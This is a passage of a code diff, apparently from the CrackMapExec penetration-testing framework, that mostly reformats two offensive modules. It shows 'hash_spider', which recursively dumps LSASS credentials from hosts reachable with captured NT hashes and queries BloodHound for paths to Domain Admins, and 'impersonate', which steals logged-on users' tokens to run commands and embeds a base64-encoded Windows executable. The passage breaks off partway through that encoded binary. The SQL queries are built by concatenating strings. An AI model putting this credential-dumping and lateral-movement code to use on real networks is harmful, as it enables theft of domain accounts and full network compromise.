AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") + "MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p" + ) paths = [record for record in path_to_da.data()] for path in paths: @@ -105,9 +143,11 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d for key, value in path.items(): for item in value: if type(item) == dict: - if {item['name']} not in reported_da: - context.log.success(f"You have a valid path to DA as {item['name']}.") - reported_da.append({item['name']}) + if {item["name"]} not in reported_da: + context.log.success( + f"You have a valid path to DA as {item['name']}." + ) + reported_da.append({item["name"]}) exit() @@ -115,13 +155,21 @@ def initial_run(connection, cursor): username = connection.username password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") - cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password]) - cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash]) + cursor.execute( + "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", + [password], + ) + cursor.execute( + "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", + [nthash], + ) class CMEModule: name = "hash_spider" - description = "Dump lsass recursively from a given hash using BH to find local admins" + description = ( + "Dump lsass recursively from a given hash using BH to find local admins" + ) supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -139,18 +187,20 @@ class CMEModule: RESET_DUMPED Allows re-dumping of hosts. (Default: False) RESET Reset DB. (Default: False) """ - self.method = 'comsvcs' - if 'METHOD' in module_options: - self.method = module_options['METHOD'] - self.reset_dumped = module_options.get('RESET_DUMPED', False) - self.reset = module_options.get('RESET', False) + self.method = "comsvcs" + if "METHOD" in module_options: + self.method = module_options["METHOD"] + self.reset_dumped = module_options.get("RESET_DUMPED", False) + self.reset = module_options.get("RESET", False) - def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor + def run_lsassy( + self, context, connection, cursor + ): # copied and pasted from lsassy_dumper & added cursor # lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown # lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours) # so what we do is define "success" as a logging level, then do nothing with the output - logging.addLevelName(25, 'SUCCESS') - setattr(logging, 'success', lambda message, *args: ()) + logging.addLevelName(25, "SUCCESS") + setattr(logging, "success", lambda message, *args: ()) host = connection.host domain_name = connection.domain @@ -167,11 +217,15 @@ class CMEModule: nthash=nthash, username=username, password=password, - domain=domain_name + domain=domain_name, ) if session.smb_session is None: - context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") - cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") + context.log.fail( + "Couldn't connect to remote host. Password likely expired/changed. Removing from DB." + ) + cursor.execute( + f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'" + ) return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: @@ -186,13 +240,30 @@ class CMEModule: ImpacketFile.delete(session, file.get_file_path()) if credentials is None: credentials = [] - credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")] + credentials = [ + cred.get_object() + for cred in credentials + if not cred.get_username().endswith("$") + ] credentials_unique = [] credentials_output = [] for cred in credentials: - if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique: + if [ + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ] not in credentials_unique: credentials_unique.append( - [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]]) + [ + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ] + ) credentials_output.append(cred) global credentials_data credentials_data = credentials_output @@ -200,43 +271,58 @@ class CMEModule: def spider_pcs(self, context, connection, cursor, dbconnection, driver): cursor.execute("SELECT * from admin_users WHERE hash is not NULL") compromised_users = cursor.fetchall() - cursor.execute("SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'") + cursor.execute( + "SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'" + ) admin_access = cursor.fetchall() for user in compromised_users: for pc in admin_access: if user[0] in pc[1]: - cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") + cursor.execute( + f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'" + ) more_to_dump = cursor.fetchall() if len(more_to_dump) > 0: - context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") - connection.domain = user[0].split('@')[1] - setattr(connection, "host", pc[0].split('.')[0]) - setattr(connection, "username", user[0].split('@')[0]) + context.log.display( + f"User {user[0]} has more access to {pc[0]}. Attempting to dump." + ) + connection.domain = user[0].split("@")[1] + setattr(connection, "host", pc[0].split(".")[0]) + setattr(connection, "username", user[0].split("@")[0]) setattr(connection, "nthash", user[1]) setattr(connection, "nthash", user[1]) try: self.run_lsassy(context, connection, cursor) cursor.execute( - "UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") + "UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + + pc[0] + + "%'" + ) - process_creds(context, connection, credentials_data, dbconnection, cursor, driver) - self.spider_pcs(context, connection, cursor, dbconnection, driver) + process_creds( + context, + connection, + credentials_data, + dbconnection, + cursor, + driver, + ) + self.spider_pcs( + context, connection, cursor, dbconnection, driver + ) except Exception: context.log.fail(f"Failed to dump lsassy on {pc[0]}") if len(admin_access) > 0: context.log.fail( - "No more local admin access known. Please try re-running Bloodhound with newly found accounts.") + "No more local admin access known. Please try re-running Bloodhound with newly found accounts." + ) exit() def on_admin_login(self, context, connection): - db_path = connection.config.get('CME', 'workspace') + db_path = connection.config.get("CME", "workspace") # DB will be saved at ./CrackMapExec/hash_spider_default.sqlite3 if workspace in cme.conf is "default" db_name = f"hash_spider_{db_path}.sqlite3" - dbconnection = connect( - db_name, - check_same_thread=False, - isolation_level=None - ) + dbconnection = connect(db_name, check_same_thread=False, isolation_level=None) cursor = dbconnection.cursor() if self.reset: @@ -257,18 +343,22 @@ class CMEModule: context.log.fail("Database update error", str(e)) exit() - neo4j_user = connection.config.get('BloodHound', 'bh_user') - neo4j_pass = connection.config.get('BloodHound', 'bh_pass') - neo4j_uri = connection.config.get('BloodHound', 'bh_uri') - neo4j_port = connection.config.get('BloodHound', 'bh_port') + neo4j_user = connection.config.get("BloodHound", "bh_user") + neo4j_pass = connection.config.get("BloodHound", "bh_pass") + neo4j_uri = connection.config.get("BloodHound", "bh_uri") + neo4j_port = connection.config.get("BloodHound", "bh_port") neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}" - driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False) + driver = GraphDatabase.driver( + neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False + ) neo4j_conn(context, connection, driver) neo4j_local_admins(context, driver) create_db(admin_results, dbconnection, cursor) initial_run(connection, cursor) context.log.display("Running lsassy") self.run_lsassy(context, connection, cursor) - process_creds(context, connection, credentials_data, dbconnection, cursor, driver) + process_creds( + context, connection, credentials_data, dbconnection, cursor, driver + ) context.log.display("🕷️ Starting to spider 🕷️") self.spider_pcs(context, connection, cursor, dbconnection, driver) diff --git a/cme/modules/impersonate.py b/cme/modules/impersonate.py index 4493a720..0653ef21 100644 --- a/cme/modules/impersonate.py +++ b/cme/modules/impersonate.py @@ -1,4 +1,4 @@ -# Impersonate module for CME +# Impersonate module for CME # Author of the module : https://twitter.com/Defte_ # Impersonate: [ REPO TO ADD ] # Token manipulation internals blog post [ LINK ] @@ -9,9 +9,10 @@ from os import path class CMEModule: - name = "impersonate" - description = "List and impersonate tokens to run command as locally logged on users" + description = ( + "List and impersonate tokens to run command as locally logged on users" + ) supported_protocols = ["smb"] opsec_safe = True # could be flagged multiple_hosts = True @@ -29,7 +30,9 @@ class CMEModule: self.impersonate = "Impersonate.exe" self.useembeded = True self.token = self.cmd = "" - self.impersonate_embedded = b64decode('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